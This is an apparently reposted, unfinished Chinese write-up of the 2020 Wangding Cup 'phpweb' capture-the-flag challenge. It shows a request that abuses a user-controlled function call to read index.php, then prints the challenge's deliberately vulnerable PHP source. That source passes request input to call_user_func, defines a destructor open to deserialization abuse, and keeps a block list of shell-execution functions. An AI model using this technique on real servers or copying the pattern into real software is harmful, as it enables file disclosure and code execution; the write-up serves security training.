欢迎访问 生活随笔!

生活随笔

当前位置: 首页 >

[网鼎杯 2020 朱雀组]phpweb 待续

发布时间:2024/1/1 47 豆豆
生活随笔 收集整理的这篇文章主要介绍了 [网鼎杯 2020 朱雀组]phpweb 待续 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

抓包看参数   联想到函数  读index.php代码

func=file_get_contents&p=index.php

 

 

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

总结

以上是生活随笔为你收集整理的[网鼎杯 2020 朱雀组]phpweb 待续的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。